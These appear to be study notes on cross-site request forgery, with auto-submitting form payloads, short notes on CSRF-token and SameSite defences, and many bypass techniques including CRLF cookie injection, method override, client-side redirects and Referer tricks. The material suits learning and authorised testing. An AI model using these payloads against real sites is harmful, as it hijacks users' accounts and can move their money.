CSRF
Exploit
With POST
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
With GET
<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">
Defences
A CSRF token is a unique, secret, and unpredictable value that is generated by the server-side application and shared with the client.
<form name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="example@normal-website.com">
<input required type="hidden" name="csrf" value="50FaWgdOhi9M9wyna8taR1k3ODOR8d6u">
<button class='button' type='submit'> Update email </button>
</form>
Controls whether or not a cookie is sent with cross-site requests.
If the website doesn’t explicitly set a SameSite
attribute, Chrome automatically applies Lax
restrictions by default.
Strict
Means that the browser sends the cookie only for same-site requests
Lax
Means that browser sends the cookie in cross-site requests, if:- The request uses the
GET
method. - The request resulted from a top-level navigation by the user, such as clicking on a link.
The cookie is not sent on cross-site requests, such as on requests to load images or frames.
- The request uses the
None
Means that the browser sends the cookie with both cross-site and same-site requests. TheSecure
attribute must also be set when setting this value, like soSameSite=None; Secure
CSRF tokens bypass
Switch from
POST
to theGET
methodRemove the parameter containing the token
Invent a token in the required format (the app doesn’t keep valid server-side tokens).
Log in to the application with your account, obtain a valid token, and then feed that token to the victim user in their CSRF attack (some apps don’t validate if the token belongs to the same session as the requesting user).
Are there two token: one in a cookie and one in hidden input? (this can also have the same value)
- Some apps do tie the CSRF token to a cookie, but not to the session cookie.
- Can you set a cookie? E.g. Header injection with
CRLF
.(%0d%0a
) /?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None
- Log in to the application with your account -> obtain a valid token and associated cookie.
- Generate CSRF PoC and remove the auto-submit
<script>
block. Then add the following code to inject the cookie.
<img src="https://vulnerable-website.com/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
SameSite cookies bypass
Lax bypass
- Using GET requests (bypass lax)
<script>
document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>
- GET method override (bypass lax)
- Even if an ordinary
GET
request isn’t allowed, some frameworks supports_method
parameter. (Other frameworks support a variety of similar parameters) GET /my-account/change-email?email=a@a.com&_method=POST HTTP/1.1
- Even if an ordinary
Strict bypass
Bypass via client-side redirect. Consider a page https://vulnerable-website.com/post/confirm?postId=10
that load this script.
redirectOnConfirmation = () => {
setTimeout(() => {
const url = new URL(window.location);
const postId = url.searchParams.get("postId");
window.location = '/post/' + postId;
}, 3000);
}
<script>
document.location = "https://vulnerable-website.com/post/confirm?postId=10/../../my-account/change-email?email=a@a.com";
</script>
Referer-based validation bypass
- Some apps validate the Referer header if present, but skip if omitted
<meta name="referrer" content="never">
- Validation of Referer can be circumvented
http://vulnerable-website.com.attacker-website.com/csrf-attack http://attacker-website.com/csrf-attack?vulnerable-website.com http://attacker-website.com/vulnerable-website.com
- To sed referer you need to add
Referrer-Policy: unsafe-url
. One way to set it in html:<meta name="referrer" content="unsafe-url"/>
Tip: Instead of use http://attacker-website.com/vulnerable-website.com
, you can use http://attacker-website.com/
and add <script>history.pushState('', '', '/vulnerable-website.com')</script>
<!-- http://attacker-website.com/ -->
<html>
<meta name="referrer" content="unsafe-url"/>
<body>
<form action="https://vulnerable-website.com/change-email" method="POST">
<input type="hidden" name="email" value="test@test.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/vulnerable-website.com');
document.forms[0].submit();
</script>
</body>
</html>
Firefox 87 new default Referrer Policy strict-origin-when-cross-origin
trimming user sensitive information like path and query string to protect privacy. [🔗]